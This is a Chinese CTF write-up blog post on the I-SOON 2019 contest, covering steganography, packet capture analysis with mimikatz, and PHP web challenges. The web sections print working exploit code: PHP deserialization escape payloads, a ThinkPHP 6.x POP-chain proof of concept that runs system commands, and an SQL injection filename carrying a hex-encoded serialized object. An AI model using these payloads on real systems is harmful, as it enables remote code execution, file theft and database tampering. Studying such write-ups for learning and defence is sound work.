Eki's blog Eki's blog
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)

Eki

Dreamer of Dreams
Home
  • Library

    • PHP
    • JAVA
    • Node
    • Python
  • Contest

    • D3CTF 2021 Write Up
    • 虎符CTF2021
    • 2021 红帽 Web Write Up
  • Problem Set

    • Ethernaut Write Up
Pentest
Develop
  • Friends
About
  • Website
  • Tools
  • Categories
  • Tags
  • Archives
GitHub (opens new window)
  • I-SOON 2019 Log

    • 0x00 前言
      • 0x01 吹着贝斯扫二维码
        • 0x02 music
          • 0x03 Attack
            • 0x04 funny-php
              • 0x05 easyserializephp (赛后复现)
                • I am thinking(赛后复现)
                  • 参考资料
                • 不是文件上传(赛后复现)
                Eki
                2021-05-07
                CTF Contest
                目录

                I-SOON 2019 Log

                # I-SOON 2019 Log

                # 0x00 前言

                一场十分艰难的比赛。。。。

                web pwn无头绪

                时间全花在misc上了

                还实力眼瞎了好几次。。。。。

                最后只拿到了rank 40......

                道阻且长

                收货

                • wireshark 流量分析的进阶过滤操作

                • mimikatz64工具的使用

                Todo

                • php curl 操作
                • request 写exp....
                • ....一堆要补的web知识

                # 0x01 吹着贝斯扫二维码

                看文件头是一堆jpg,发现要拼图。。。。。

                根据四个定位定位标识的加一些边框把二维码拼出来拿到解密方法

                BASE Family Bucket ??? 85->64->85->13->16->32
                
                1

                把zip文件的注释按照得到的解密方法解一遍就完事了

                # 0x02 music

                根据提示信息拿mp3stego用密钥接触压缩包密码

                密码是123qwe123
                
                1

                然后用silenteye对压缩包里的wav进行分析,是个音频的LSB隐写

                # 0x03 Attack

                流量分析, tcp.stream eq 824拿到一个zip包里面有flag.txt

                提示Administrator的密码

                tcp.stream eq 833拿到dmp

                file一下是个minidump

                mimikatz64 可以对其进行分析得到所有用户的密码

                用Adminstrator的密码解密

                # 0x04 funny-php

                逆向题

                function encode($str){
                
                	$str1=array();
                	$str1=unpack("C*",$str);
                	for($_0=0;$_0<count($str1);$_0++){
                		$_c=$str1[$_0];
                		$_=$_.$_c;
                	}
                
                	$_d=array();
                	for($_1=0;$_1<strlen($_);$_1++){
                		$_d[$_1]=substr($_,$_1,1);		
                		$_e=ord($_d[$_1])+$_1;
                		$_f=chr($_e);
                		$__=$__.$_f;
                		if($__%100==0)
                			$__=base64_encode($__);
                	}
                	$__=strrev(str_rot13(base64_encode($__)));
                
                	return $__;
                	
                }
                
                1
                2
                3
                4
                5
                6
                7
                8
                9
                10
                11
                12
                13
                14
                15
                16
                17
                18
                19
                20
                21
                22
                23

                比赛的时候只写了个部分解密的脚本

                function decode($chiper){
                    
                    $_ftmp='';
                	$_='';
                	$str='';
                    $_d=array();
                	$__=base64_decode(str_rot13(strrev($chiper)));
                	
                	print($__.'<br/>');
                    for($i=0;$i<strlen($__);$i++){
                		$_f=substr($__,$i,1);		
                		$_e=ord($_f)-$i;
                		$_=$_.chr($_e);
                    }
                	print($_);
                	/*while(strlen($__)>0){
                        if(base64_decode($__)%100==0&&base64_decode($__)!=NULL){
                            $__=base64_decode($__);
                		}
                        $_ftmp=substr($__,strlen($__)-1,1).$_ftmp;
                     	$__=substr($__,0,strlen($__)-1);
                    }
                	
                	//$_ftmp=$__;
                    print($_ftmp.'<br/>');
                	for($i=0;$i<strlen($_ftmp);$i++){
                		$_f=substr($_ftmp,$i,1);
                		$_e=ord($_f);
                		$_d[$i]=chr($_e-$i);
                		$_=$_.$_d[$i];
                    }
                	print($_.'<br/>');
                	$str1=array();
                	
                	$str1=explode(';',$_);
                	
                	$str=pack("C*",$str1);
                	return $str;*/
                }
                
                1
                2
                3
                4
                5
                6
                7
                8
                9
                10
                11
                12
                13
                14
                15
                16
                17
                18
                19
                20
                21
                22
                23
                24
                25
                26
                27
                28
                29
                30
                31
                32
                33
                34
                35
                36
                37
                38
                39

                在

                	for($_0=0;$_0<count($str1);$_0++){
                		$_c=$str1[$_0];
                		$_=$_.$_c;
                	}
                
                1
                2
                3
                4

                之前得到这么一串数字

                10210897103123101971151219510111099111100101125
                
                1

                根据ascii码的特征分割一下

                #include<stdio.h>
                char str[]={102,108,97,103,123,101,97,115,121,95,101,110,99,111,100,101,125,0};
                int main(){
                	printf(str);
                	return 0;
                }
                
                1
                2
                3
                4
                5
                6

                # 0x05 easy_serialize_php (赛后复现)

                给了源码

                <?php
                
                $function = @$_GET['f'];
                
                function filter($img){
                    $filter_arr = array('php','flag','php5','php4','fl1g');
                    $filter = '/'.implode('|',$filter_arr).'/i';
                    return preg_replace($filter,'',$img);
                }
                
                
                if($_SESSION){
                    unset($_SESSION);
                }
                
                $_SESSION["user"] = 'guest';
                $_SESSION['function'] = $function;
                
                extract($_POST);
                
                if(!$function){
                    echo '<a href="index.php?f=highlight_file">source_code</a>';
                }
                
                if(!$_GET['img_path']){
                    $_SESSION['img'] = base64_encode('guest_img.png');
                }else{
                    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
                }
                
                $serialize_info = filter(serialize($_SESSION));
                
                if($function == 'highlight_file'){
                    highlight_file('index.php');
                }else if($function == 'phpinfo'){
                    eval('phpinfo();'); //maybe you can find something in here!
                }else if($function == 'show_image'){
                    $userinfo = unserialize($serialize_info);
                    echo file_get_contents(base64_decode($userinfo['img']));
                }
                
                1
                2
                3
                4
                5
                6
                7
                8
                9
                10
                11
                12
                13
                14
                15
                16
                17
                18
                19
                20
                21
                22
                23
                24
                25
                26
                27
                28
                29
                30
                31
                32
                33
                34
                35
                36
                37
                38
                39
                40

                看来是要利用$serialize_info来搞file_get_contents,

                extract($_POST); 可以用来覆写$_SESSION,但是$_SESSION['img']没法搞,怎么办

                还是利用php反序列化长度变化尾部字符串逃逸搞,经过filter后flag->''就可以读到后面的东西了

                <?php
                function filter($img){
                    $filter_arr = array('php','flag','php5','php4','fl1g');
                    $filter = '/'.implode('|',$filter_arr).'/i';
                    return preg_replace($filter,'',$img);
                }
                $_SESSION["user"] = 'guest';
                $_SESSION['function'] = 'a"';
                $_SESSION['img'] = base64_encode('guest_img.png');
                
                $serialize_info = filter(serialize($_SESSION));
                
                
                echo $serialize_info;
                //a:3:{s:4:"user";s:5:"guest";s:8:"function";s:2:"a"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
                
                ?>
                
                1
                2
                3
                4
                5
                6
                7
                8
                9
                10
                11
                12
                13
                14
                15
                16
                17

                我们要覆盖的长度为

                len('";s:8:"function";s:2:"a"')

                填充6个flag即可

                问题是读什么呢?

                根据提示看一下phpinfo();

                可以看到auto_append_file:d0g3_f1ag.php

                读一下试试

                构造payload

                <?php
                function filter($img){
                    $filter_arr = array('php','flag','php5','php4','fl1g');
                    $filter = '/'.implode('|',$filter_arr).'/i';
                    return preg_replace($filter,'',$img);
                }
                /*
                $_SESSION["user"] = 'guest';
                $_SESSION['function'] = "show_image";
                $_SESSION['img'] = base64_encode('guest_img.png');
                */
                
                $_SESSION["user"] = 'flagflagflagflagflagflag';
                $_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"b";}';
                $_SESSION['img'] = base64_encode('guest_img.png');
                
                $serialize_info = filter(serialize($_SESSION));
                
                //echo $serialize_info;
                $userinfo = unserialize($serialize_info);
                echo base64_decode($userinfo['img']);
                
                //origin a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
                //dest: s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
                //padding s:1:"a";s:1:"b";
                
                ?>
                
                1
                2
                3
                4
                5
                6
                7
                8
                9
                10
                11
                12
                13
                14
                15
                16
                17
                18
                19
                20
                21
                22
                23
                24
                25
                26
                27

                返回了flag地址,再读一次就可

                # I am thinking(赛后复现)

                其实就是个parse_url的绕过+tp6.0POP

                TP6.x POP Poc

                <?php
                namespace think\model\concern;
                trait Conversion
                {
                }
                
                trait Attribute
                {
                    private $data;
                    private $withAttr = ["eki" => "system"];
                
                    public function get()
                    {
                        $this->data = ["eki" => "cat /flag"];  //你想要执行的命令,这里的键值只需要保持和withAttr里的键值一致即可
                    }
                }
                
                namespace think;
                abstract class Model{
                    use model\concern\Attribute;
                    use model\concern\Conversion;
                    private $lazySave = false;
                    protected $withEvent = false;
                    private $exists = true;
                    private $force = true;
                    protected $field = [];
                    protected $schema = [];
                    protected $connection='mysql';
                    protected $name;
                    protected $suffix = '';
                    function __construct(){
                        $this->get();
                        $this->lazySave = true;
                        $this->withEvent = false;
                        $this->exists = true;
                        $this->force = true;
                        $this->field = [];
                        $this->schema = [];
                        $this->connection = 'mysql';
                    }
                
                }
                
                namespace think\model;
                
                use think\Model;
                
                class Pivot extends Model
                {
                    function __construct($obj='')
                    {
                        parent::__construct();
                        $this->name = $obj;
                    }
                }
                $a = new Pivot();
                $b = new Pivot($a);
                
                echo urlencode(serialize($b));
                
                1
                2
                3
                4
                5
                6
                7
                8
                9
                10
                11
                12
                13
                14
                15
                16
                17
                18
                19
                20
                21
                22
                23
                24
                25
                26
                27
                28
                29
                30
                31
                32
                33
                34
                35
                36
                37
                38
                39
                40
                41
                42
                43
                44
                45
                46
                47
                48
                49
                50
                51
                52
                53
                54
                55
                56
                57
                58
                59

                parse_url用///绕过

                # 参考资料

                https://www.anquanke.com/post/id/187393

                # 不是文件上传(赛后复现)

                页脚提示项目名 在Github上找到源码

                既然不是文件上传,那么大概率是在文件名种注入sql或者反序列化等操作

                看一下源代码,有serialize和unserialize操作

                	public function upload($input="file")
                	{
                		$fileinfo = $this->getfile($input);
                		$array = array();
                		$array["title"] = $fileinfo['title'];
                		$array["filename"] = $fileinfo['filename'];
                		$array["ext"] = $fileinfo['ext'];
                		$array["path"] = $fileinfo['path'];
                		$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
                		$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
                		$array["attr"] = serialize($my_ext);//序列化点
                		$id = $this->save($array);
                		if ($id == 0){
                			die("Something wrong!");
                		}
                		echo "<br>";
                		echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
                	}
                
                1
                2
                3
                4
                5
                6
                7
                8
                9
                10
                11
                12
                13
                14
                15
                16
                17
                18
                	public function Get_All_Images(){
                		$sql = "SELECT * FROM images";
                		$result = mysqli_query($this->con, $sql);
                		if ($result->num_rows > 0){
                		    while($row = $result->fetch_assoc()){
                		    	if($row["attr"]){
                		    		$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
                					$attr = unserialize($attr_temp);//反序列化点
                				}
                		        echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
                		    }
                		}else{
                		    echo "<p>You have not uploaded an image yet.</p>";
                		}
                		mysqli_close($this->con);
                	}
                
                1
                2
                3
                4
                5
                6
                7
                8
                9
                10
                11
                12
                13
                14
                15
                16

                反序列化利用链也很显然

                利用show的

                class helper {
                	protected $folder = "pic/";
                	protected $ifview = False; 
                	protected $config = "config.txt";
                
                	public function view_files($path){
                		if ($this->ifview == False){
                			return False;
                			//The function is not yet perfect, it is not open yet.
                		}
                		$content = file_get_contents($path);
                		echo $content;
                    }
                    
                	function __destruct(){
                		# Read some config html
                		$this->view_files($this->config);//任意文件读
                	}
                
                1
                2
                3
                4
                5
                6
                7
                8
                9
                10
                11
                12
                13
                14
                15
                16
                17
                18

                先写个反序列化的Exp

                <?php
                class helper {
                	protected $folder = "pic/";
                	protected $ifview = True; 
                	protected $config = "/flag";
                
                	public function view_files($path){
                		if ($this->ifview == False){
                			return False;
                			//The function is not yet perfect, it is not open yet.
                		}
                		$content = file_get_contents($path);
                		echo $content;
                	}
                
                	function __destruct(){
                		# Read some config html
                		$this->view_files($this->config);
                	}
                }
                
                $helper = new Helper();
                echo str_replace(chr(0).'*'.chr(0),'\0\0\0',serialize($helper));
                ?>
                
                1
                2
                3
                4
                5
                6
                7
                8
                9
                10
                11
                12
                13
                14
                15
                16
                17
                18
                19
                20
                21
                22
                23
                24

                有个要注意的点是根据源码要对生成的payload进行修改

                然后怎么把反序列化数据注入呢,这里利用sql进行注入

                	public function check($info)
                	{
                		$basename = substr(md5(time().uniqid()),9,16);
                		$filename = $info["name"];
                		$ext = substr(strrchr($filename, '.'), 1);
                		$cate_exts = array("jpg","gif","png","jpeg");
                		if(!in_array($ext,$cate_exts)){
                			die("<p>Please upload the correct image file!!!</p>");
                		}
                	    $title = str_replace(".".$ext,'',$filename);
                	    return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);//此处title可控
                	}
                	public function upload($input="file")
                	{
                		$fileinfo = $this->getfile($input);
                		$array = array();
                		$array["title"] = $fileinfo['title'];
                		$array["filename"] = $fileinfo['filename'];
                		$array["ext"] = $fileinfo['ext'];
                		$array["path"] = $fileinfo['path'];
                		$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
                		$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
                		$array["attr"] = serialize($my_ext);//my_ext
                		$id = $this->save($array);
                		if ($id == 0){
                			die("Something wrong!");
                		}
                		echo "<br>";
                		echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
                    }
                    public function save($data)
                	{
                		if(!$data || !is_array($data)){
                			die("Something wrong!");
                		}
                		$id = $this->insert_array($data);
                		return $id;
                	}
                	public function insert_array($data)
                	{	
                		$con = mysqli_connect("127.0.0.1","root","root","pic_base");
                		if (mysqli_connect_errno($con)) 
                		{ 
                		    die("Connect MySQL Fail:".mysqli_connect_error());
                		}
                		$sql_fields = array();
                		$sql_val = array();
                		foreach($data as $key=>$value){
                			$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
                			$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
                			$sql_fields[] = "`".$key_temp."`";
                			$sql_val[] = "'".$value_temp."'";
                		}
                		$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
                		mysqli_query($con, $sql);
                		$id = mysqli_insert_id($con);
                		mysqli_close($con);
                		return $id;
                	}
                
                1
                2
                3
                4
                5
                6
                7
                8
                9
                10
                11
                12
                13
                14
                15
                16
                17
                18
                19
                20
                21
                22
                23
                24
                25
                26
                27
                28
                29
                30
                31
                32
                33
                34
                35
                36
                37
                38
                39
                40
                41
                42
                43
                44
                45
                46
                47
                48
                49
                50
                51
                52
                53
                54
                55
                56
                57
                58
                59

                上传语句为

                INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('test','9f09bc3fd029a211.gif','gif','pic/9f09bc3fd029a211.gif','a:2:{s:5:"width";i:256;s:6:"height";i:256;}')
                
                1

                构造文件名为

                1','1','1','1',0x4f3a363a2268656c706572223a333a7b733a393a225c305c305c30666f6c646572223b733a343a227069632f223b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg
                
                1

                利用hex绕过字符串单引号限制

                效果

                INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('1','1','1','1',0x4f3a363a2268656c706572223a333a7b733a393a225c305c305c30666f6c646572223b733a343a227069632f223b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg','9f09bc3fd029a211.gif','gif','pic/9f09bc3fd029a211.gif','a:2:{s:5:"width";i:256;s:6:"height";i:256;}')
                
                
                1
                2
                编辑 (opens new window)
                上次更新: 2022/05/18, 16:49:51
                最近更新
                01
                QWB CTF2022 线下赛总决赛部分题解
                08-25
                02
                CISCN2022 总决赛部分题解
                08-25
                03
                DSCTF2022决赛 部分writeup
                08-08
                更多文章>
                Theme by Vdoing | Copyright © 2019-2022 EkiXu | Creative Commons License
                This work is licensed under a Creative Commons Attribution 4.0 International License.
                • 跟随系统
                • 浅色模式
                • 深色模式
                • 阅读模式